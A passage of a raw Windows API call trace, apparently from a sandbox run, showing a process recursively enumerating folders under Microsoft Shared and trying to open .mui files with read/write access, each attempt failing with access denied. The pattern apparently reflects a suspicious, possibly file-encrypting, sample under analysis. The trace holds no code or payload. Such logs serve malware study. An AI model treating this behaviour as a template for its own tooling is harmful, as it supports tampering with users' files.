dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0163.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0163.700] GetProcessHeap () returned 0x990000 [0163.701] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.701] GetProcessHeap () returned 0x990000 [0163.701] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.701] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.701] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.701] GetProcessHeap () returned 0x990000 [0163.701] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.701] GetLastError () returned 0x5 [0163.701] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.701] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.702] GetProcessHeap () returned 0x990000 [0163.702] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.702] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0163.702] GetProcessHeap () returned 0x990000 [0163.702] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.702] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.702] GetProcessHeap () returned 0x990000 [0163.702] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.702] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.702] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.702] GetProcessHeap () returned 0x990000 [0163.702] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.703] GetLastError () returned 0x5 [0163.703] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.703] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.703] GetProcessHeap () returned 0x990000 [0163.703] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.703] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0163.703] GetProcessHeap () returned 0x990000 [0163.703] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.704] GetProcessHeap () returned 0x990000 [0163.704] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.704] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.704] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.704] GetProcessHeap () returned 0x990000 [0163.704] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.705] GetLastError () returned 0x5 [0163.705] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.705] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.705] GetProcessHeap () returned 0x990000 [0163.705] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.705] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0163.706] GetProcessHeap () returned 0x990000 [0163.706] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b2468 [0163.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.706] GetProcessHeap () returned 0x990000 [0163.706] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.706] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.706] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0163.706] GetProcessHeap () returned 0x990000 [0163.706] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b7b40 [0163.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0163.706] GetLastError () returned 0x5 [0163.706] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0163.707] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0163.707] GetProcessHeap () returned 0x990000 [0163.707] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7b40 | out: hHeap=0x990000) returned 1 [0163.707] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0163.707] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0163.707] GetProcessHeap () returned 0x990000 [0163.707] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0163.707] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0163.707] GetProcessHeap () returned 0x990000 [0163.707] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0163.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0163.708] GetProcessHeap () returned 0x990000 [0163.708] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.708] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.708] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0163.708] GetProcessHeap () returned 0x990000 [0163.708] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b78c0 [0163.708] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0163.709] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0163.709] GetProcessHeap () returned 0x990000 [0163.709] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0163.709] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0163.709] GetProcessHeap () returned 0x990000 [0163.709] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7c) returned 0x9b2468 [0163.709] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0163.709] GetProcessHeap () returned 0x990000 [0163.709] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.709] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.710] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0163.710] GetProcessHeap () returned 0x990000 [0163.710] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27e) returned 0x9b78c0 [0163.710] GetProcessHeap () returned 0x990000 [0163.710] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x88) returned 0x9b2468 [0163.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0163.710] GetProcessHeap () returned 0x990000 [0163.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0163.710] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, 